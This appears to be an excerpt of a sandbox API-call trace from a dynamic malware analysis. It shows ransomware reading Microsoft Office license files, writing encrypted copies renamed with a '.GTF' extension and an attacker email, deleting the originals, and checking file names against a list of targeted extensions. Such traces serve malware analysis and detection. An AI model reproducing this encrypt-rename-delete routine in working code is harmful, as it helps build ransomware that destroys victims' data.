	[0174.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0174.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0174.376] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.376] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0174.377] GetLastError () returned 0x0
	[0174.377] ReadFile (in: hFile=0x570, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x54df, lpOverlapped=0x0) returned 1
	[0174.461] WriteFile (in: hFile=0x574, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x54e0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x54e0, lpOverlapped=0x0) returned 1
	[0174.462] ReadFile (in: hFile=0x570, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.462] WriteFile (in: hFile=0x574, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x10e, lpOverlapped=0x0) returned 1
	[0174.462] SetEndOfFile (hFile=0x574) returned 1
	[0174.462] CloseHandle (hObject=0x574) returned 1
	[0174.463] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.463] SetEndOfFile (hFile=0x570) returned 1
	[0174.471] CloseHandle (hObject=0x570) returned 1
	[0174.472] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0174.477] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms")) returned 1
	[0174.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0174.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0174.478] lstrlenW (lpString=".doc") returned 4
	[0174.478] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.478] lstrlenW (lpString=".docx") returned 5
	[0174.478] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.478] lstrlenW (lpString=".pdf") returned 4
	[0174.478] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.478] lstrlenW (lpString=".xls") returned 4
	[0174.478] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.478] lstrlenW (lpString=".xlsx") returned 5
	[0174.478] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.478] lstrlenW (lpString=".ppt") returned 4
	[0174.478] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0174.478] lstrlenW (lpString=".zip") returned 4
	[0174.478] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.478] lstrlenW (lpString=".rar") returned 4
	[0174.478] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.478] lstrlenW (lpString=".bz2") returned 4
	[0174.478] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.478] lstrlenW (lpString=".7z") returned 3
	[0174.478] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0174.478] lstrlenW (lpString=".dbf") returned 4
	[0174.478] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0174.478] lstrlenW (lpString=".1cd") returned 4
	[0174.479] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0174.479] lstrlenW (lpString=".jpg") returned 4
	[0174.479] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0174.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0174.479] lstrlenW (lpString=".doc") returned 4
	[0174.479] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.479] lstrlenW (lpString=".docx") returned 5
	[0174.479] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.479] lstrlenW (lpString=".pdf") returned 4
	[0174.479] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.479] lstrlenW (lpString=".xls") returned 4
	[0174.479] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.479] lstrlenW (lpString=".xlsx") returned 5
	[0174.479] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.479] lstrlenW (lpString=".ppt") returned 4
	[0174.479] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0174.479] lstrlenW (lpString=".zip") returned 4
	[0174.479] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.479] lstrlenW (lpString=".rar") returned 4
	[0174.479] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.479] lstrlenW (lpString=".bz2") returned 4
	[0174.479] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.479] lstrlenW (lpString=".7z") returned 3
	[0174.479] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0174.479] lstrlenW (lpString=".dbf") returned 4
	[0174.479] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0174.480] lstrlenW (lpString=".1cd") returned 4
	[0174.480] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0174.480] lstrlenW (lpString=".jpg") returned 4
	[0174.480] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.480] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0174.480] lstrlenW (lpString="HomeStudentR_Trial-ul-oob.xrm-ms") returned 32
	[0174.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0174.481] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11616) returned 1
	[0174.481] CloseHandle (hObject=0x570) returned 1
	[0174.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms")) returned 0x220
	[0174.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0174.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0174.482] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.482] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0174.483] GetLastError () returned 0x0
	[0174.483] ReadFile (in: hFile=0x570, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2d60, lpOverlapped=0x0) returned 1
	[0174.567] WriteFile (in: hFile=0x574, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0174.591] ReadFile (in: hFile=0x570, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.592] WriteFile (in: hFile=0x574, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x114, lpOverlapped=0x0) returned 1
	[0174.592] SetEndOfFile (hFile=0x574) returned 1
	[0174.593] CloseHandle (hObject=0x574) returned 1
	[0174.594] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.594] SetEndOfFile (hFile=0x570) returned 1
	[0174.611] CloseHandle (hObject=0x570) returned 1
	[0174.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0174.614] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms")) returned 1
	[0174.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0174.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0174.617] lstrlenW (lpString=".doc") returned 4
	[0174.617] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.617] lstrlenW (lpString=".docx") returned 5
	[0174.617] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.617] lstrlenW (lpString=".pdf") returned 4
	[0174.617] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.617] lstrlenW (lpString=".xls") returned 4
	[0174.617] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.617] lstrlenW (lpString=".xlsx") returned 5
	[0174.617] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.617] lstrlenW (lpString=".ppt") returned 4
	[0174.617] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0174.617] lstrlenW (lpString=".zip") returned 4
	[0174.617] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.617] lstrlenW (lpString=".rar") returned 4
	[0174.617] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.617] lstrlenW (lpString=".bz2") returned 4
	[0174.617] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.617] lstrlenW (lpString=".7z") returned 3
	[0174.617] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0174.617] lstrlenW (lpString=".dbf") returned 4
	[0174.617] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0174.617] lstrlenW (lpString=".1cd") returned 4
	[0174.617] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0174.617] lstrlenW (lpString=".jpg") returned 4
	[0174.617] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0174.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0174.618] lstrlenW (lpString=".doc") returned 4
	[0174.618] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.618] lstrlenW (lpString=".docx") returned 5
	[0174.618] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.618] lstrlenW (lpString=".pdf") returned 4
	[0174.618] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.618] lstrlenW (lpString=".xls") returned 4
	[0174.618] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.618] lstrlenW (lpString=".xlsx") returned 5
	[0174.618] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.618] lstrlenW (lpString=".ppt") returned 4
	[0174.618] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0174.618] lstrlenW (lpString=".zip") returned 4
	[0174.618] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.618] lstrlenW (lpString=".rar") returned 4
	[0174.618] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.618] lstrlenW (lpString=".bz2") returned 4
	[0174.618] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.618] lstrlenW (lpString=".7z") returned 3
	[0174.618] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0174.618] lstrlenW (lpString=".dbf") returned 4
	[0174.618] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0174.618] lstrlenW (lpString=".1cd") returned 4
	[0174.618] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0174.618] lstrlenW (lpString=".jpg") returned 4
	[0174.618] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.619] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0174.619] lstrlenW (lpString="MondoR_BypassTrial180-pl.xrm-ms") returned 31
	[0174.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0174.619] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11175) returned 1
	[0174.619] CloseHandle (hObject=0x528) returned 1
	[0174.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms")) returned 0x220
	[0174.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0174.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0174.620] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.620] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0174.622] GetLastError () returned 0x0
	[0174.622] ReadFile (in: hFile=0x528, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2ba7, lpOverlapped=0x0) returned 1
	[0174.664] WriteFile (in: hFile=0x570, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0174.665] ReadFile (in: hFile=0x528, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.665] WriteFile (in: hFile=0x570, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x112, lpOverlapped=0x0) returned 1
	[0174.665] SetEndOfFile (hFile=0x570) returned 1
	[0174.819] CloseHandle (hObject=0x570) returned 1
	[0174.820] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.820] SetEndOfFile (hFile=0x528) returned 1
	[0174.822] CloseHandle (hObject=0x528) returned 1
	[0174.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0174.823] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms")) returned 1
	[0174.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
	[0174.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
	[0174.824] lstrlenW (lpString=".doc") returned 4
	[0174.824] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.824] lstrlenW (lpString=".docx") returned 5
	[0174.824] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.824] lstrlenW (lpString=".pdf") returned 4
	[0174.824] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.824] lstrlenW (lpString=".xls") returned 4
	[0174.824] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.824] lstrlenW (lpString=".xlsx") returned 5
	[0174.824] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.824] lstrlenW (lpString=".ppt") returned 4
	[0174.824] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
	[0174.824] lstrlenW (lpString=".zip") returned 4
	[0174.824] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.824] lstrlenW (lpString=".rar") returned 4
	[0174.824] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.824] lstrlenW (lpString=".bz2") returned 4
	[0174.824] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.824] lstrlenW (lpString=".7z") returned 3
	[0174.824] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
	[0174.824] lstrlenW (lpString=".dbf") returned 4
	[0174.824] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
	[0174.824] lstrlenW (lpString=".1cd") returned 4
	[0174.824] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
	[0174.824] lstrlenW (lpString=".jpg") returned 4
	[0174.825] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
	[0174.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
	[0174.825] lstrlenW (lpString=".doc") returned 4
	[0174.825] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.825] lstrlenW (lpString=".docx") returned 5
	[0174.825] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.825] lstrlenW (lpString=".pdf") returned 4
	[0174.825] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.825] lstrlenW (lpString=".xls") returned 4
	[0174.825] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.825] lstrlenW (lpString=".xlsx") returned 5
	[0174.825] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.825] lstrlenW (lpString=".ppt") returned 4
	[0174.825] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
	[0174.825] lstrlenW (lpString=".zip") returned 4
	[0174.825] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.825] lstrlenW (lpString=".rar") returned 4
	[0174.825] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.825] lstrlenW (lpString=".bz2") returned 4
	[0174.825] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.825] lstrlenW (lpString=".7z") returned 3
	[0174.825] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
	[0174.825] lstrlenW (lpString=".dbf") returned 4
	[0174.825] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
	[0174.825] lstrlenW (lpString=".1cd") returned 4
	[0174.825] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
	[0174.825] lstrlenW (lpString=".jpg") returned 4
